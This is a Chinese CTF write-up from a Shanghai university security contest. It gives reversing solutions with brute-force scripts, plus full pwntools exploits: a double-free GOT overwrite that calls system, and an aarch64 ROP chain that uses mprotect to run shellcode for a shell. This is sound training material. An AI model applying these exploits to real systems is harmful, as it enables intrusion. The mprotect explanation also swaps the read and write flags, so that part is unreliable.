[第四届上海市大学生网络安全大赛] writeups

what is it

  • 程序逻辑很简单,对输入的luck string md5加密后会有校验,然后会调用decode函数对check函数进行解码,才能看到check函数

  • 先爆破luck string,得到luck string为ozulmt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import hashlib
import itertools

def md5_crypto(data):

md = hashlib.md5()
md.update(data)
sigh = md.hexdigest()
return sigh

charset = [chr(i) for i in range(97,123)]
inputs = itertools.product(charset,repeat=6)

for i in inputs:
input = "".join(i)
cipher = md5_crypto(input)

v15 = 0
v14 = 0
for i in range(32):
if cipher[i] == '0':
v15 += 1
v14 += i

if (10 * v15 + v14 == 403):
print input
exit()

  • 得到luck string,我们就可以在decode函数执行完的时候把内存dump出来,这样就可以查看check函数,这里可以参考菜鸟教你用esp定律手脱UPX壳,然后分析check函数,会先对flag格式进行检查,最后会有一个比较,直接下断点就可以看到比较的内容

  • 所以flag就是那串比较的东西然后套上flag的格式

cpp

  • 看起来c++很难看,其实仔细研究一下还是很简单的程序逻辑,这里operator[]就是取数组元素的操作

1
2
3
4
5
6
7
8
9
10
11
#程序逻辑
for i in range(len(a1)):
v2 = 4 * a1[i]
a[i]= ( ((a1[i]) >> 6 | v2) ^ i ) & 0xff


for i in range(4):
for j in range(1,len(s)):
v2 = a1[j]
v3 = a1[j-1] | v2
a1[j] = ( v3 & ( 0xffffffff - (a1[j] & a1[j-1]) )) & 0xff
  • 然后写个脚本爆破
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def crypto(i,j):

return (((i >> 6) | (4 * i)) ^ j ) & 0xff


a = [0x99,0xb0,0x87,0x9e,0x70,0xe8,0x41,0x44,0x05,0x04,0x8b,0x9a,0x74,0xbc,0x55,0x58,0xb5,0x61,0x8e,0x36,0xac,0x09,0x59,0xe5,0x61,0xdd,0x3e,0x3f,0xb9,0x15,0xed,0xd5]

flag = 'f'

num = 1
while num < len(a):

for i in range(0x20,0x7f):

c = []

for j in range(len(flag)):
c.append(crypto(ord(flag[j]),j))
c.append(crypto(i,num))



for l in range(4):
for m in range(1,len(c)):

v3 = c[m-1] | c[m]
v1 = ( v3 & ( 0xffffffff - (c[m] & c[m-1]) )) & 0xff
c[m] = v1

if c[num] == a[num]:

print chr(i)
flag += chr(i)
num += 1
break

print flag

cyvm

  • 一道入门级的vm逆向,主要用循环来表示程序逻辑

  • 一个一个手动跟了一下发现是个蛮简单的循环逻辑
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
0F 10 14 20 10 16 00 09  24 02 15 16 E9 12 16 E8
02 17 16 13 16 90 06 15 17 45 06 15 16 76 01 15
16 12 16 FF 0A 14 16 0C 09 0E ?? ?? ?? ?? ?? ??

0f scanf
09 jmp
0c cmp

scanf('%s',s)

*(&v7 + *(v5 + 1 + a1) -20) = *(v5 + 2 + a1)

v7[0] = 0x20
i = 0x00
v5 = 0x24

if 0x20 != i:
v5 = 0x9
else:
v5 += 2

a = s[i]

b = s[i+1]

a ^= b
a ^= i
s[i] = a

++i

if 0x20 != i:
v5 = 0x9
else:
v5 += 2
  • 所以程序逻辑可表示如下:
1
2
3
4
5
6
for i in range(len(s)):
a = s[i]
b = s[i+1]
a ^= b
a ^= i
s[i] = a
  • 写个脚本爆破出flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
flag = 'f'

s2 = [0x0a, 0x0c, 0x04, 0x1f, 0x48, 0x5a, 0x5f, 0x03, 0x62, 0x67, 0x0e, 0x61, 0x1e, 0x19, 0x08, 0x36, 0x47, 0x52, 0x13, 0x57, 0x7c, 0x39, 0x54, 0x4b, 0x05, 0x05, 0x45, 0x77, 0x15, 0x26, 0x0e, 0x62]

while True:

if len(flag) >= 0x20:
break

for i in range(0x20,0x7f):
j = len(flag)
a = ord(flag[j-1])
b = i
a ^= b
a ^= (j-1)
if a == s2[j-1]:
flag += chr(i)
break



print flag

momo_server

  • 考验选手逆向和对http协议的了解,漏洞就是一个double free,改
    free@got为system地址,wp已经有人写的比较详细了,就不再重复了。(该程序由于用sscanf传参所以如果memo=后的内容有00字符串则会崩溃)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
from urllib import quote

#context.log_level ='debug'

def http(method,operating,content):
payload = method
payload += ' ' + operating + ' Connection: keep-alive'
payload += '\n\n' + content
return payload

def get_list():
payload = http('GET','/list','')
p.send(payload)

def add(memo,count):
content = 'memo={}&count={}'.format(memo,count)
payload = http('POST','/add',content)
p.send(payload)

def count():
payload = http('POST','/count','')
p.send(payload)

def echo(con):
content = 'content={}'.format(con)
payload = http('POST','/echo',content)
p.send(payload)

while True:
try:
p = process('./pwn')
libc = ELF('./libc-so.6')

#leak libc
echo('0'*0x34 + 'aaaa')
p.recvuntil('aaaa')
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x5f0e14
assert libc_base & 0xff == 0
log.success('libc base addr : 0x%x'%libc_base)
system_addr = libc_base + libc.symbols['system']
log.success('system addr : 0x%x'%system_addr)


add('a'*0x60,'1')
add('b'*0x60,'2')
add('c'*0x60,'3')
add('d'*0x60,'4')
add('e'*0x60,'200')


#leak heap_base
count()
sleep(4)
get_list()
p.recvuntil('0</td></tr><tr><td>')
heap_base = u64(p.recvuntil('\x3c',drop = True).ljust(8,'\x00')) -0x20
log.success('heap_base addr : 0x%x'%heap_base)

#double free
add(p64(heap_base+0xa0).replace('\0', ''),'1') # 0 -> 1 -> 0
sleep(3)

#hijack fd -> 0x602ffa
add(quote(p64(0x602ffa).ljust(0x60,'a')),'200') # 1 -> 0 -> 0x602ffa
sleep(1)

add(quote('bbbbbbbbb'.ljust(0x60,'a')),'200') # 0 -> 0x602ffa
sleep(1)

#cat flag
add(quote('cat flag\x00'.ljust(0x60,'a')),'3')
sleep(1)
#gdb.attach(p,'b *0x401482')
#hijack got@free -> system and trigger system('cat flag')
add(quote(('a'*14 + p64(system_addr)).ljust(0x60,'a')),'200')

p.interactive()

except Exception as e:
p.close()

参考文章:

baby_arm

  • 题目是道aarch64的pwn题,有关环境搭建之前的文章有讲,然后开了NX,后面打远程的时候发现也确实开了NX

  • 程序主要就是两个read函数写,第一个往bss段写,第二个往栈上写,并且可以栈溢出,这里一看就是rop但是我们没有libc,然后发现程序有个mprotect函数,所以利用思路可以是往bss写shellcode然后利用栈溢出执行mprotect让bss段可以执行,然后再跳转到我们的bss段执行shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);

// 对存储映射区保护要求 1、PROT_READ 2、PROT_WRITE 3、PROT_EXEC 4、PROT_NONE
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:

1)PROT_READ:表示内存段内的内容可写;

2)PROT_WRITE:表示内存段内的内容可读;

3)PROT_EXEC:表示内存段中的内容可执行;

4)PROT_NONE:表示内存段中的内容根本没法访问。

需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。

  • 函数loc_4008CC可以让我们控制x19,x20,x21,x22,x23,x24,x29,x30寄存器的值,然后通过loc_4008AC函数我们进而控制r0,r1,r2,x3从而达到call x3,最后再ret到下一个函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
loc_4008AC
LDR X3, [X21,X19,LSL#3] #将X21寄存器指向的内容给X3寄存器
MOV X2, X22 #将X22寄存器的值给X2寄存器
MOV X1, X23 #将X23寄存器的值给X1寄存器
MOV W0, W24 #将W24寄存器的值给W0寄存器
ADD X19, X19, #1 #X19寄存器的值+1
BLR X3 #执行call X3
CMP X19, X20 #比较X19寄存器和X20寄存器的值,若不想等则跳转到loc_4008AC
B.NE loc_400AC

loc_4008CC
LDP X19, X20, [SP,#0x10] #将SP+0x10,SP+0x18给X19,X20寄存器
LDP X21, X22, [SP,#0x20] #将SP+0x20,SP+0x28给X21,X22寄存器
LDP X23, X24, [SP,#0X30] #将SP+0x30,SP+0x38给X23,X24寄存器
LDP X29, X30, [SP+0],#0X40 #将SP,SP+8给X29,X30寄存器并抬高栈64字节
  • 所以我们ret到loc_4008CC的时候可以布置栈如下,然后当执行完loc_4008CC函数时,就会ret到X30寄存器的值即loc_4008AC,当执行到BLR X3时相当于执行mprotect(0x411000, 0x1000, 5),然后判断X19和X20是否相等,因为我们提前布置好了所以会继续往下执行到ret返回到0x411068(我们的shellcode处),0x411168在我们第一次往bss段写的时候已经写入了mprotect@plt的地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$SP-->	│+0x00: 0x0000000000000000   --> X29  
│+0x08: 0x00000000004008ac --> X30
│+0x10: 0x0000000000000000 --> X19
│+0x18: 0x0000000000000001 --> X20
|+0x20: 0x0000000000411168 -> mprotect@plt --> X21
│+0x28: 0x0000000000000005 --> X22 --> X2
│+0x30: 0x0000000000001000 --> X23 --> Xx
│+0x38: 0x0000000000411000 --> X24 --> X0
│+0x40: 0x0000000000000000
│+0x48: 0x0000000000411068 --> next X30
│+0x50: 0x00000000deadbeef
│+0x58: 0x00000000deadbeef
│+0x60: 0x00000000deadbeef
│+0x68: 0x00000000deadbeef
│+0x70: 0x00000000deadbeef
│+0x78: 0x00000000deadbeef
  • 第一次ret到通用gadget处

  • 执行完loc_4008CC准备ret到loc_4008AC

  • 进入loc_4008AC函数

  • 执行mprotect(0x411000, 0x1000, 5)

  • 比较X19和X20的值,因为相等所以不跳转往下继续执行

  • 经过4个ldp命令,然后ret,注意此时X30寄存器的值是我们的shellcode地址,所以我们即将执行shellcode了

  • 正在执行shellcode,然后就能getshell了

  • 这里用pwntools生成aarch64的shellcode可能会报错,解决方案,因为我用的deepin所以直接sudo apt-get install binutils-aarch64-linux-gnu一条命令即可,这里因为我已经装了,然后就可以使用shellcode = asm(shellcraft.aarch64.sh()) 快乐的使用shellcode了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
import sys
import time
context.binary = "./arm_pwn"
binary = './arm_pwn'

if sys.argv[1] == "r":
p = remote("106.75.126.171",33865)
elif sys.argv[1] == "l":
p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/", binary])
else:
p = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu/", binary])

elf = ELF("./arm_pwn")


context.log_level = "debug"

buf = asm(shellcraft.aarch64.sh())

buf = buf.ljust(0x100,'\x00')
buf += p64(0x400600)

p.recvuntil('Name:')
p.send(buf.ljust(512,'\x00'))

payload = 'a'*72 + p64(0x4008CC) + p64(0) + p64(0x4008AC) + p64(0) + p64(1) + p64(0x411168) + p64(5)
payload += p64(0x1000) + p64(0x411000) + p64(0) + p64(0x411068) + p64(0xdeadbeef)*6

p.send(payload)
p.interactive()
  • 成功打本地

  • 成功打远程

参考文章: